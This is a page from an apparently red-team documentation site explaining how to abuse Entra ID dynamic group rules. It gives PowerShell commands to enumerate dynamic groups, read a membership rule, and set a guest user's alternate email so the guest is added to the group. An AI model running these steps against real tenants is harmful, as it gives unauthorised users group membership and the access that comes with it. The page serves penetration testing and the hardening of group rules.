> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cloud/azure/lateral-movement/dynamic-groups.md).

# Dynamic Groups

An organization may add users to a particular group based on their userPrincipalName, department, mail etc. By default, any user can invite guests in Entra ID. If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature. There are two ways the rules can be abused: Before joining a tenant as guest. If we can enumerate that a property, say mail, is used in a rule, we can invite a guest with the email ID that matches the rule. After joining a tenant as guest. A guest user can 'manage their own profile', that is, they can modify manager and alternate email. We can abuse a rule that matches on Manager (Direct Reports for "{objectID\_of\_manager}") or alternative email (user.otherMails -any (\_ -contains "string")).

{% stepper %}
{% step %}

### Enumerate Dynamic Groups

```powershell
Get-MgGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
```

<figure><img src="https://684105785-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqxmnxuDhun8NjxBfiBEr%2Fuploads%2F8KOjUdLNUsljdEn6qPQx%2Fimage.png?alt=media&amp;token=c36f0bd3-67c2-4a2f-a5c4-e0dd2ba60e00" alt=""><figcaption><p>Example output of the above command</p></figcaption></figure>
{% endstep %}

{% step %}

### Look at the MemberShipRule for the dynamic group

```powershell
Get-MgGroup -GroupId f6c94d79-3eed-40ca-9ba9-d9743a4a1a4e | select MembershipRule
```

{% endstep %}

{% step %}

### Review rules

```
MembershipRule
--------------
(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")
```

The membership rule means that any Guest user whose secondary email contains the string 'vendor' will be added to this group.
{% endstep %}

{% step %}

### Example updating alternative email

```powershell
Connect-AzAccount -TenantId b6e0615d-2c17-46b3-922c-491c91624acd

$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)

Update-MgUser -UserId 4a3395c9-be40-44ba-aff2-be502edd9619-OtherMails vendorx@defcorpextcontractors.onmicrosoft.com
```

{% endstep %}
{% endstepper %}
